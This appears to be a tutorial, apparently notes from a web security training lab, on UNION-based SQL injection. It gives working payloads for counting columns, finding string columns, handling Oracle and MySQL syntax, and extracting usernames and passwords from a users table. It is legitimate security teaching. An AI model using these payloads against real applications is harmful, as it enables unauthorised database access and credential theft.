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The UNION keyword lets you append additional SELECT queries to the original, retrieving data from other tables: 
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
Returns a single result set with values from both tables. Two requirements must be met for UNION to work:
  • Both queries must return the same number of columns
  • Column data types must be compatible between queries
To pull this off you need to determine:
  1. How many columns the original query returns
  2. Which of those columns can hold string data (to display your exfiltrated results)

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Determining the Number of Columns

Two methods to find the column count:

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Method 1 — ORDER BY incrementing:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--  ← error here means 2 columns

The ORDER BY position number 3 is out of range of the number of items in the select list.

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Method 2 — UNION SELECT NULL:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--  ← no error means 3 columns

All queries combined using a UNION, INTERSECT or EXCEPT operator
must have an equal number of expressions in their target lists.
NULL is used because it’s compatible with every data type, maximizing the chance the payload succeeds. When the count matches, the database returns an extra row of nulls — look for any detectable difference in the response, whether that’s extra content, a different error, or a change in page structure.

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Database-Specific Syntax

Two notable exceptions to standard syntax:
  • Oracle — every SELECT needs a FROM, use the built-in dual table:
' UNION SELECT NULL FROM DUAL--
  • MySQL — -- must be followed by a space, or use # instead:
' UNION SELECT NULL--  ← needs a space after --
' UNION SELECT NULL#

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Finding Columns with a Useful Data Type

Once you know the column count, probe each column for string compatibility by placing 'a' into one column at a time: 
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
A type mismatch throws an error like: 
Conversion failed when converting the varchar value 'a' to data type int.
If no error occurs and the response contains a, that column can hold string data and is usable for exfiltration.

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Retrieving Interesting Data

With column count and string-compatible columns confirmed, you can pull real data. Given:
  • Original query returns 2 string columns
  • Database has a users table with username and password columns
' UNION SELECT username, password FROM users--
If you don’t know the table/column names yet, you’ll need to enumerate the database structure first — covered in Examining the database.

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Retrieving Multiple Values Within a Single Column

When only one string-compatible column is available, concatenate multiple values into it: 
' UNION SELECT username || '~' || password FROM users--
|| is Oracle’s concatenation operator; ~ is just a separator so you can split the values apart. The response returns all credentials in one column: 
administrator~s3cure
wiener~peter
carlos~montoya
Concatenation syntax varies by database — check the SQL injection cheat sheet for other platforms.